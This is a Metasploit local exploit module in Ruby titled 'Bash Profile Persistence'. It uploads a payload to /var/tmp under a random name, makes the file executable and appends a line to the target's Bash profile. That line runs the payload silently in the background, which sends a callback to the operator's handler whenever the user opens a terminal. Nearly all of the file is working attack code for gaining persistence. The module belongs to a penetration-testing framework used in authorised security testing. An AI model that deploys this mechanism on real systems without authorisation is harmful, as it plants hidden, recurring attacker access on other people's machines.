##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking
  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Unix

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Bash Profile Persistence',
        'Description' => %q{
          This module writes an execution trigger to the target's Bash profile.
          The execution trigger executes a call back payload whenever the target
          user opens a Bash terminal. A handler is not run automatically, so you
          must configure an appropriate exploit/multi/handler to receive the callback.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Michael Long <bluesentinel[at]protonmail.com>'
        ],
        'DisclosureDate' => '1989-06-08', # First public release of Bourne Again Shell
        'Platform' => ['unix', 'linux'],
        'Arch' => ARCH_CMD,
        'SessionTypes' => ['meterpreter', 'shell'],
        'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
        'Targets' => [
          ['Automatic', {}]
        ],
        'DefaultTarget' => 0,
        'Payload' => {
          'Compat' =>
          {
            'PayloadType' => 'cmd',
            'Meterpreter' => {
              'Commands' => %w[
                stdapi_sys_config_sysinfo
              ]
            }
          }
        },
        'References' => [
          ['URL', 'https://attack.mitre.org/techniques/T1156/']
        ],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
        }
      )
    )

    register_options(
      [
        OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually ~/.bashrc or ~/.bash_profile.', '~/.bashrc']),
        OptString.new('PAYLOAD_DIR', [true, 'Directory to write persistent payload file.', '/var/tmp/'])
      ]
    )
  end

  def exploit
    # expand home directory path (i.e. '~/.bashrc' becomes '/home/user/.bashrc')
    profile_path = datastore['BASH_PROFILE']
    if profile_path.start_with?('~/')
      home_directory = get_env('$HOME')
      profile_path.sub!(/^~/, home_directory)
    end

    # check that target Bash profile file exists
    unless exist?(profile_path)
      fail_with Failure::NotFound, profile_path
    end
    print_good("Bash profile exists: #{profile_path}")

    # check that target Bash profile file is writable
    unless writable?(profile_path)
      fail_with Failure::NoAccess, profile_path
    end
    print_good("Bash profile is writable: #{profile_path}")

    # create Bash profile backup on local system before persistence is added
    backup_profile = read_file(profile_path)
    backup_profile_path = create_backup_file(backup_profile)
    print_status("Created backup Bash profile: #{backup_profile_path}")

    # upload persistent payload to target and make executable (chmod 700)
    payload_file = datastore['PAYLOAD_DIR'] + Rex::Text.rand_text_alpha(10..16)
    upload_and_chmodx(payload_file, payload.encoded)

    # write payload trigger to Bash profile
    exec_payload_string = "#{payload_file} > /dev/null 2>&1 &" + "\n" # send stdin,out,err to /dev/null
    append_file(profile_path, exec_payload_string)
    print_good('Created Bash profile persistence')
    print_status('Payload will be triggered when target opens a Bash terminal')
    print_warning("Don't forget to start your handler:")
    print_warning("msf> handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}")
  end

  # create a backup copy of the target's Bash profile on the local system before persistence is added
  def create_backup_file(backup_profile)
    begin
      hostname = session.sys.config.sysinfo['Computer']
    rescue NoMethodError
      hostname = cmd_exec('hostname')
    end

    timestamp = '_' + ::Time.now.strftime('%Y%m%d.%H%M%S')

    log_directory_name = ::File.join(Msf::Config.log_directory, 'persistence/' + hostname + timestamp)

    ::FileUtils.mkdir_p(log_directory_name)

    log_file_name = log_directory_name + '/Bash_Profile.backup'
    file_local_write(log_file_name, backup_profile)
    return log_file_name
  end
end
